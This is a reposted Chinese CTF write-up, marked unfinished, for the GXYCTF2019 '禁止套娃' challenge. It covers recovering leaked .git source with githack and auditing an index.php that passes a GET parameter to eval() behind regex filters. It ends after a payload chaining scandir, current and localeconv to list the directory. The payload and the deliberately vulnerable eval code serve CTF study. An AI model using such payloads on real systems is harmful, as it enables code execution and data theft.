ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[GXYCTF2019]禁止套娃 wp(没写完)

2022-06-25 00:31:09  阅读:164  来源: 互联网

标签:git 套娃 GET preg exp wp php GXYCTF2019 match


这道题的思路是使用githack工具扫描目标ip/.git,得到index.php,进行代码审计,得到flag

 

git源码泄露的原因:

开发人员在开发时,常常会先把源码提交到远程托管网站(如github),最后再从远程托管网站把源码pull到服务器的web目录下,如果忘记把.git文件删除,就造成此漏洞。利用.git文件恢复处网站的源码,而源码里可能会有数据库的信息。

git的工作区就是目录,git的版本库就是.git文件夹。

py githack http://xxx/.git/

在githack文件夹下会产生扫描到的文件:

index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一个int preg_match()函数,不同于preg_match_all(),只匹配一次,preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])的意思是看exp里有无data://或filter://或php://或phar://,前面有!,所以传参不能有这些,

第二个preg_replace()函数是替换功能,把exp中的:a-z,_,+表示1次或多次,(,),   (?R)表示当前表达式,第二个?表示前面的(?R)零次或多次,这里的作用是过滤了类似于a(b())之类的函数

第三个preg_match()函数,看exp里有无:et或na或info或dec或bin或hex或oct或pi或log,前面有!,所以exp里不能有这些东西

 

我们要先看目录 使用scandir('.');但是不能出现一点,因为.不在正则里,exp里有.preg_replace()函数调用后就会有.,就不是;了

localeconv()函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点

current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了

exp=print_r(scandir(current(localeconv())));

 

回显是:Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

 

标签:git,套娃,GET,preg,exp,wp,php,GXYCTF2019,match
来源: https://www.cnblogs.com/hackerone/p/16410594.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有